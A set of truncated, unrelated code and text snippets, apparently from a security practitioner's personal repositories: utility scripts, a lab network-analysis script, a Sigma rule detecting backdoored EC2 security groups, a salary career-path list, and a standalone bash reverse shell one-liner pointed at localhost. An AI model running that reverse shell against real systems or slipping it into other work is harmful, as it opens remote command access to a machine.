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#!/bin/bash

# Check if the user provided a name@domain argument
if [ -z "$1" ]; then
  echo "Usage: $0 your-extension-name@your-domain"
  exit 1
fi

EXTENSION_ID="$1"
EXTENSION_NAME="External IP Viewer"

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import json
import os
from uptime_kuma_api import UptimeKumaApi, MonitorType

def load_notification_params(data):
    """
    Load notification parameters from data and add monitors to Uptime Kuma.
    
    This function iterates over a list of dictionaries, each representing a monitor's configuration,
    and adds them to Uptime Kuma using its API. It filters out certain keys from each dictionary

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# Updated version for https://blog.rmtph.one/posts/CyberDefenders_EscapeRoom/

import datetime
import ipaddress
import json
import os
import socket
from collections import Counter, defaultdict
import communityid

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/*
  Receiver board sketch
*/

#include <RCSwitch.h>
#include "output.h"

#define LED 2

int buttonA = 952424;

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# I had a bunch of markdown files in my blog that had a category value that was a string of words instead of a list
# I needed a way to parse and replace 40 lines that began with `categories:` at once
# This did it.

import re
import glob

# https://stackoverflow.com/questions/4568580/python-glob-multiple-filetypes
types = ('*.md') 
files_grabbed = []

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title: Detects Backdooring EC2 Security Groups
status: experimental
description: Detects the insertion of backdoor access into EC2 Security Groups.
author: '@DefensiveDepth'
date: 2021/01/01
logsource:
    service: cloudtrail
detection:
    selection_source:
        - eventSource: ec2.amazonaws.com

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My career path

1. End user help desk support - 25k ~2 years
2. Network Operations Center - ~30k - 50k ~3 years
3. Network Operations Center (Changed Companies) - 57k ~1.5 years
4. Joined Security team - 64k - 75k at end of ~3 years
5. Joined different copany - 90k plus bonuses and stock
6. Same company, more specialized role, 130k plus bonuses and stock after 4 years
7. Same company, more specialized role, 145k plus bonuses and stock after ~4.5 years (salary adjustment)

I threw this together not knowing anything about the person I am writing for or what their level of familiarity is with any of these topics.

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# Did this with macos, install tesseract with `brew install tesseract` and I used a virtual environment
# It's hit or miss for a lot of these and I'm not very good with this, but this will OCR some yara rules sometimes.
# This works really poorly on sigma rules, it doesnt preserve white space well. 
# Apparently version 5 of tesseract on macos will do it, but brew currently installs 4.11 which doesn't?
# people just need to put it in a repo.

# Example to scan: https://archerint.com/what-are-yara-rules/
# most code from here https://stackoverflow.com/questions/9480013/image-processing-to-improve-tesseract-ocr-accuracy

# These are various image files I tested against, test against anything you find. Simple, clear text will work better. 

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#! /bin/bash

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

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# See https://github.com/vz-risk/VCDB/tree/master/data/joined 

import json
import pandas as pd
from collections import Counter

with open('vcdb.json') as f:
    vcdb = json.loads(f.read())

variety = []